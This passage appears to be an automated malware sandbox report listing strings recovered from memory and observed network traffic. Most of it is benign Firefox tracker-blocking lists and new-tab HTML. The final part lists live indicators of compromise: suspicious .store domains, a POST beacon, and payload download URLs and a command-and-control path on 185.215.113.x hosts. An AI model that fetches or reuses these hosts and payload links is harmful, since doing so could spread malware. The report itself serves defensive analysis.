"*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.2965275696.000002298060C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: doff-text" data-l10n-args="{&quot;engine&quot;: &quot;Google&quot;}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;YouTube&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: doff-text" data-l10n-args="{&quot;engine&quot;: &quot;Google&quot;}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;YouTube&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: get FIXUP_FLAGS_MAKE_ALTERNATE_URIget FIXUP_FLAG_FORCE_ALTERNATE_URIDevTools telemetry entry point failed: Failed to listen. Callback argument missing.devtools.performance.recording.ui-base-urlWebChannel/this._originCheckCallbackGot invalid request to save JSON datadevtools.performance.popup.feature-flag@mozilla.org/uriloader/handler-service;1{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}@mozilla.org/network/protocol;1?name=filebrowser.fixup.dns_first_for_single_words^([a-z+.-]+:\/{0,3})*([^\/@]+@).+^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]|$)devtools/client/framework/devtools@mozilla.org/dom/slow-script-debug;1DevToolsStartup.jsm:handleDebuggerFlagNo callback set for this channel.devtools.debugger.remote-websocketreleaseDistinctSystemPrincipalLoaderUnable to start devtools server on @mozilla.org/network/protocol;1?name=defaultbrowser.urlbar.dnsResolveFullyQualifiedNames^([a-z][a-z0-9.+\t-]*)(:|;)?(\/\/)?devtools/client/framework/devtools-browserJSON Viewer's onSave failed in startPersistenceresource://devtools/shared/security/socket.jsresource://devtools/server/devtools-server.jsFailed to listen. Listener already attached.browser.fixup.domainsuffixwhitelist.@mozilla.org/uriloader/local-handler-app;1resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/NetUtil.sys.mjs@mozilla.org/network/async-stream-copier;1{c6cf88b7-452e-47eb-bdc9-86e3561648ef}Scheme should be either http or httpshttps://mail.inbox.lv/compose?to=%sresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjs{33d75835-722f-42c0-89cc-44f328e56a86}http://www.inbox.lv/rfc2368/?value=%shandlerSvc fillHandlerInfo: don't know this typehttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://poczta.interia.pl/mh/?mailto=%sCan't invoke URIFixup in the content processhttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/dbus-handler-app;1@mozilla.org/network/file-input-stream;1extractScheme/fixupChangedProtocol<_injectDefaultProtocolHandlersIfNeededisDownloadsImprovementsAlreadyMigratedgecko.handlerService.defaultHandlersVersionhttps://mail.yahoo.co.jp/compose/?To=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/web-handler-app;1_finalizeInternal/this._finalizePromise<resource://gre/modules/FileUtils.sys.mjsresource://gre/modules/URIFixup.sys.mjsresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjshttp://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/FileUtils.sys.mjs@mozilla.org/network/simple-stream-listener;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULL@mozilla.org/network/input-stream-pump;1First argument should be an nsIInputStreamNon-zero amount of bytes must be specified@mozilla.org/intl/converter-input-stream;1@mozilla.org/scriptableinputstream;1newChannel requires a single object argumenthttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%spdfj
Source: firefox.exe, 0000001B.00000002.2963511722.00000229804B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2965634816.000002298073A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2965634816.0000022980777000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2963511722.00000229804F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2965634816.0000022980750000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: x*://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2965275696.000002298060C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2965275696.0000022980603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD62000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD62000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001B.00000002.2965275696.000002298060C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: {incognito:null, tabId:null, types:["xmlhttprequest"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)
Source: global traffic DNS traffic detected: DNS query: presticitpo.store
Source: global traffic DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: firefox.exe, 0000001B.00000002.2937254073.000002297E6BA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/$
Source: file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/H
Source: file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/c
Source: file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/d
Source: skotes.exe, 00000008.00000002.2984921705.000000000113F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000008.00000002.2984921705.000000000113F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/luma/random.exe5p
Source: skotes.exe, 00000008.00000002.2984921705.000000000113F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/luma/random.exe61395ed
Source: file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.1877288761.00000000015CA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exel
Source: file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2790263600.0000000000C9D000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2981047293.00000000008FA000.00000004.00000010.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2983817330.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exee
Source: file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exeeo
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exe:
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exew
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/test/num.exe
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/well/random.exej
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
